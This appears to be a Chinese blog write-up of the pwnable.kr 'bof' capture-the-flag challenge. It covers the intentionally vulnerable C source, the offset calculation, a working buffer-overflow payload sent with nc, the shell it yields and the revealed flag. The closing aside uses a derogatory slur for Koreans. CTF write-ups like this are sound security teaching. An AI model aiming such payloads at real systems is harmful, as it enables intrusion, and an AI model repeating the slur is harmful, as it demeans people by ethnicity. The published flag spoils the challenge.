pwnable.kr-bof

首先还是题目描述:

Nana told me that buffer overflow is one of the most common software vulnerability.
Is that true?

Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c

Running at : nc pwnable.kr 9000

给了c的源文件还有编译好的elf文件,c源码为:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);    // smash me!
    if(key == 0xcafebabe){
        system("/bin/sh");
    }
    else{
        printf("Nah..\n");
    }
}
int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
}

很明显,根据注释,在gets函数的地方进行栈溢出,将key的数值覆盖为0xcafebabe,那么接下来需要计算出key和overflowme的地址差。一开始看到提供的elf文件,我觉得没有用,因为给了c源码,完全可以自己编译。现在知道编译完成后,变量的地址已经相对固定了。我们用IDA打开elf文件,看到key的地址为[bp+8h],overflowme的地址为[bp-2Ch],两者相差了8h+2Ch=52,所以我们用52个字符填充就可以了,其后用cafebabe进行填充。最后的payload为:

(python -c “print ‘a’*52 + ‘\xbe\xba\xfe\xca'”;cat -) | nc pwnable.kr 9000

直接获取了shell,然后读取flag文件:

ls -al
total 16512
drwxr-x—  3 root bof      4096 Sep 10  2014 .
dr-xr-xr-x 66 root root     4096 Jul  1 02:14 ..
d———  2 root root     4096 Jun 12  2014 .bash_history
-r-xr-x—  1 root bof      7348 Jun 11  2014 bof
-rw-r–r–  1 root root      310 Jun 11  2014 bof.c
-r–r—–  1 root bof        32 Jun 11  2014 flag
-rw——-  1 root bof  16869264 Jul  8 01:38 log
-rwx——  1 root bof       760 Sep 10  2014 super.pl
cat flag
daddy, I just pwned a buFFer 🙂

最后的flag为daddy, I just pwned a buFFer 🙂   (怎么感觉这个傻逼棒子总是在占我们的便宜)

About the Author

admin

Leave a Reply

Your email address will not be published. Required fields are marked *